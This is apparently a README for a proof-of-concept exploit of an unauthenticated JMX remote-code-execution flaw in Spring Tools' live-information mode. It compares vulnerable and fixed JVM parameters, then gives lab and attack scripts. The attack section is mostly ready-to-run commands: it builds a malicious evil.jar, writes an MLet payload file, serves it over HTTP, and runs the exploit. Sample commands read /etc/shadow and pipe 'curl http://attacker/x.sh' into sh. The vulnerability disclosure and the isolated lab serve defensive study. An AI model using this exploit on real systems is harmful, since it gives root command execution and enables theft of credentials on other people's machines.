
Exploit de prueba de concepto para RCE JMX no autenticado en el modo de información en vivo de Spring Tools, que utiliza la carga remota de clases MLet para ejecutar comandos arbitrarios en aplicaciones Spring Boot vulnerables.
README en inglés | Aviso de vulnerabilidad: Spring Security Advisory | Registro CVE
Vulnerabilidad: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0, al iniciar una aplicación Spring Boot en modo live information (habilitado por defecto), inyecta en la aplicación parámetros remotos JMX sin autenticación, sin TLS y vinculados a todas las interfaces de red. Un atacante en una red adyacente puede conectarse a ese JMX MBeanServer sin credenciales y, mediante la carga remota de clases MLet, lograr RCE directo (con permisos de root).
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HComparando la etiqueta afectada 5.2.0.RELEASE (== v2.2.0) con la etiqueta corregida 5.3.0.RELEASE (== v2.3.0):
Versión vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: habilitado por defecto, cada vez que se inicia una aplicación Boot desde el IDE se inyectan los parámetros anteriores.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) inyecta los mismos -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Versión corregida 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX se enlaza únicamente al loopback).com.sun.management.jmxremote*, sino que se realiza una conexión local mediante la API Attach según el PID del proceso (lo mismo en el lado de VSCode, eliminando por completo los parámetros JMX remotos en debug-config-provider.ts).Nota: la sola presencia de
-Dcom.sun.management.jmxremote.portya habilita el agente JMX (no se necesita el interruptor principalcom.sun.management.jmxremote), y la variante de VSCode también es efectiva.
Los scripts están completamente separados: setup-lab.sh solo se encarga de montar el entorno, attack.sh solo se encarga de la explotación del ataque. Dependencias: docker, JDK 17+ (por defecto /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opcional).
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
Autocompletado: compila la aplicación Spring Boot víctima → crea una red bridge docker aislada (contenedor víctima 172.22.0.x, atacante en el host, simulando una red adyacente) → inicia la aplicación con los parámetros JVM de la versión correspondiente → muestra el puerto de escucha JMX → genera la IP de la máquina víctima / puerto JMX / gateway. El contenedor víctima permanece en ejecución, lo que permite pasar directamente al siguiente paso del ataque.
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
利用脚本自动完成:编译恶意 jar → 生成 mlet.txt(命令经 <ARG> 传入)→ 起 HTTP 服务提供载荷 → 运行利用。载荷只执行命令并回显:命令经 /bin/sh -c 在受害 JVM 内同步执行,输出在内存中捕获,随后由利用程序经同一条 JMX 连接调用 Pwn.getOutput() 拉回攻击端直接显示(含退出码),目标机不写任何文件。若还想把输出留在目标机,在命令里自行重定向即可(如 "id > /tmp/out.txt")。
对照实验:先
./setup-lab.sh vuln攻击成功;再./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned攻击应失败(JMX 仅回环)。
attack.sh(推荐)命令完全可配置,改命令无需重新编译任何东西(命令经 MLET <ARG> 标签传入,jar 与命令无关):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Proceso: compilación automática de evil.jar → escape XML del comando para generar mlet.txt → iniciar servicio HTTP que proporciona evil.jar + mlet.txt → compilar y ejecutar JmxExploit. La carga útil solo se encarga de ejecutar el comando y devolver la salida, sin escribir ningún archivo en la máquina objetivo.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)